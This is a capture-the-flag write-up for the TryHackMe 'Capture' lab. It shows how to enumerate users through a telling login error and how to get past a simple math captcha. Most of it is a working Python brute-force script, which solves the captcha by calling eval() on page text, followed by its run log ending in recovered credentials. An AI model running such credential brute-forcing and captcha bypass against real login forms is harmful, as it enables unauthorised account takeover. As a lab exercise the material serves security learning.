Home TryHackMe - Capture
Post
Cancel

TryHackMe - Capture

SecureSolaCoders has once again developed a web application. They were tired of hackers enumerating and exploiting their previous login form. They thought a Web Application Firewall (WAF) was too overkill and unnecessary, so they developed their own rate limiter and modified the code slightly.

The application starts off with a homepage that includes just a simple login form. We got two downloadable files with a set of usernames and one file with a bunch of passwords.

Homepage

Reconnaissance

When inputting credentials, we get a “User X not found” message which will allow us to enumerate existing users by going over the usernames.txt file and filtering out the requests that throw a different message than “User X not found”.

Username

I started using burp intruder for this but after a few requests we need to fill in a captcha. This captcha is a simple calculation which is something we can solve by creating a python script.

Captcha

Exploit

The python script makes a request to the login page, iterating over all usernames, solving the captcha if needed. Once it finds a username where the “User X not found” error isn’t present, the script loops over all passwords.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import requests
import sys
from bs4 import BeautifulSoup

headers = {"User-Agent":"Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0",
           "Content-Type":"application/x-www-form-urlencoded"}

def do_request(username, password):
    payload = f'username={username}&password={password}'
    response = requests.post(url + '/login', headers=headers, data=payload)
    
    # check if response needs a captcha to be solved
    soup = BeautifulSoup(response.text, 'html.parser')
    captcha_label = soup.find('label', text='Captcha enabled')
    if captcha_label:
        # Find captcha value on the page
        captcha_equation = captcha_label.find_next_sibling(text=True).strip()
        # Remove the last four characters " = ?"
        captcha_equation_stripped = captcha_equation[:-4]
        # Solve the captcha
        captcha_solved = eval(captcha_equation_stripped)
        # Set request payload to include solved captcha
        payload = payload + f'&captcha={captcha_solved}'
        response = requests.post(url + '/login', headers=headers, data=payload)
    return response

url = sys.argv[1]
count = 0

with open('usernames.txt') as usernames:
    for username in usernames:
        username = username.strip()
        response = do_request(username, 'password')
        count = count + 1
        username_exists = False
        # No error message so user exists
        if "does not exist" not in response.text:
            username_exists = True
            count_pw = 0
            with open('passwords.txt') as passwords:
                for password in passwords:
                    password = password.strip()
                    response = do_request(username, password)
                    count_pw = count_pw + 1
                    if "Invalid password" not in response.text:
                        print(f'CREDENTIALS FOUND: {username}:{password}')
                        sys.exit()
                    print(f'{count} - {username} - {response.status_code} - {username_exists} - {count_pw} - {password}')
        print(f'{count} - {username} - {response.status_code} - {username_exists}')

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$ python3 exploit.py http://10.10.32.213
1 - rachel - 200 - False
2 - rodney - 200 - False
3 - corrine - 200 - False
4 - erik - 200 - False
5 - chuck - 200 - False
...
303 - dewitt - 200 - False
304 - hilario - 200 - False
305 - vilma - 200 - False
306 - hugh - 200 - False
307 - natalie - 200 - True - 1 - football
307 - natalie - 200 - True - 2 - kimberly
307 - natalie - 200 - True - 3 - mookie
307 - natalie - 200 - True - 4 - daniel
307 - natalie - 200 - True - 5 - love21
307 - natalie - 200 - True - 6 - drpepper
307 - natalie - 200 - True - 7 - brayan
307 - natalie - 200 - True - 8 - bullet
...
307 - natalie - 200 - True - 27 - arsenal
307 - natalie - 200 - True - 28 - pearljam
307 - natalie - 200 - True - 29 - fantasia
307 - natalie - 200 - True - 30 - angel2
CREDENTIALS FOUND: natalie:sk**REDACTED**rd

When logging in with the found credentials, we receive the flag.

Flag

This post is licensed under CC BY 4.0 by the author.